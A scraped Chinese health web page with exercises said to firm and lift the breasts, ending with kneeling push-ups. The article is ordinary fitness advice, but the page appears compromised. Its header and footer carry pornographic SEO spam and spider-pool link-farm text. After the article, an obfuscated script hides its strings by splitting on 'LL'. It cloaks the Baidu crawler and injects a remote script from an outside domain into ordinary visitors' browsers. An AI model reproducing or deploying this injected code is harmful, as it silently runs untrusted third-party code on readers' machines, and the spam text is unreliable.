久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

5運動鍛煉胸肌 胸部大的更自然

2017-04-17 13:19:40  來源:360常識網   熱度:
導語:如果美眉想讓胸部自然的長大,線條、形狀、彈性都很好的話,通過運動來鍛煉胸肌是非常好的一個方法。并不是尺寸大就代表完美的胸部,理想的

如果美眉想讓胸部自然的長大,線條、形狀、彈性都很好的話,通過運動來鍛煉胸肌是非常好的一個方法。并不是尺寸大就代表完美的胸部,理想的胸形應該是個正三角形:鎖骨的中心和兩個乳房的中心相聯結畫出的三角形各邊相等,那么便是理想的胸部。如果底邊過長則說明胸部過于外擴,如果兩邊邊長過長則說明胸部有些下垂了。

胸部縮水回復式

1.平臥在地面上,雙臂放到臉前,托住下巴。

2.彎曲膝蓋,使雙腳盡量貼到身體后部。雙臂朝后伸展,爭取觸到腳。兩條小腿不要分開。

3.吸氣。抬起頭,以腹肌為支撐點,頭向后仰,拉動胸部抬升,雙手拉動腿部往腰靠攏。吐氣放松,回復最初姿勢,反復3次。

這個小姿勢可以使胸部的肌肉組織得到有效鍛煉,讓胸部的線條更流暢飽滿。

胸部下垂阻擊式

1.跪坐在地面上,臀部和大腿壓在小腿上,雙手自然放松,擱在大腿上。

2.將手緩慢抬向身后,使雙臂向后伸直,盡量到達腳后跟處,用手掌碰觸腳跟。

3.雙手交叉相握,使雙臂在身后抬起,并盡量舉向頭頂,令上身向地面俯壓下去,使胸部碰觸到膝蓋。健這個小動作可以提升胸部的組織,使胸部逐漸緊繃并且恢復挺立。

胸部外擴收攏式

1.雙臂移到胸前,兩個手掌合攏。

2.吸氣,兩掌用力緊壓,使兩個胳膊肘水平展開。

3.保持2的姿勢,一邊吐氣一邊努力挺直上身,使胸部感到有拉力,仿佛上身的前后和胸部被拉伸開的感覺,保持10秒后放松身體。反復5次,攏胸效果非常明顯。

史上最有效的豐胸運動——俯臥撐

運動要領:

雙膝并攏跪于地上,雙腳向后抬起,俯身向前,以雙手著地與肩同寬。保持背部挺直并且收緊臀部,慢慢屈臂至胸部接觸地面,再慢慢以手肘的力量將身體向上推,回到原位。

成效分析:

這個俯臥撐運動不僅可以使胸部變得緊實豐滿,還能令腹部平坦結實。其實做俯臥撐并不能使胸部脂肪增多,但可以通過鍛煉使下胸肌增長,胸肌的增大和緊實使得胸部整體突出,而且彈性也有了顯著的增加。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 亚洲国产成人精品女人久久久 | 亚洲黄页| 一级女性全黄久久生活片免费 | 日韩三级在线电影 | 国产精品久久久久久亚洲调教 | 亚洲精品一区二区另类图片 | 日本高清精品 | 国产精品久久久久久久久久免费看 | 91精彩视频在线观看 | 毛片网络 | 午夜国产羞羞视频免费网站 | 亚洲精品9999 | 亚洲人在线播放 | 日韩国产欧美一区二区 | 久久九九久久精品 | 日韩av一区二区在线观看 | 日韩欧美国产精品综合嫩v 午夜精品久久久久久久久 97色在线视频 | 精品国产乱码久久久久久闺蜜 | 伊人精品影院 | 狠狠躁夜夜躁人人爽天天高潮 | 黄色片免费在线观看 | 亚洲一区播放 | 国产对白刺激真实精品91 | 蜜桃视频麻豆女神沈芯语免费观看 | 欧美国产日韩一区 | av免费观看网站 | 一区二区不卡 | 亚洲麻豆| 欧美在线一区二区三区 | 日韩人体在线 | 91在线视频观看 | 久久久水蜜桃 | av网站免费在线 | 国产精品久久久久久亚洲调教 | 日韩av免费 | 在线播放91 | 久草在线在线精品观看 | 日韩精品在线电影 | 亚洲男人天堂网 | 日韩精品一区二区三区中文字幕 | 日韩 欧美 激情 |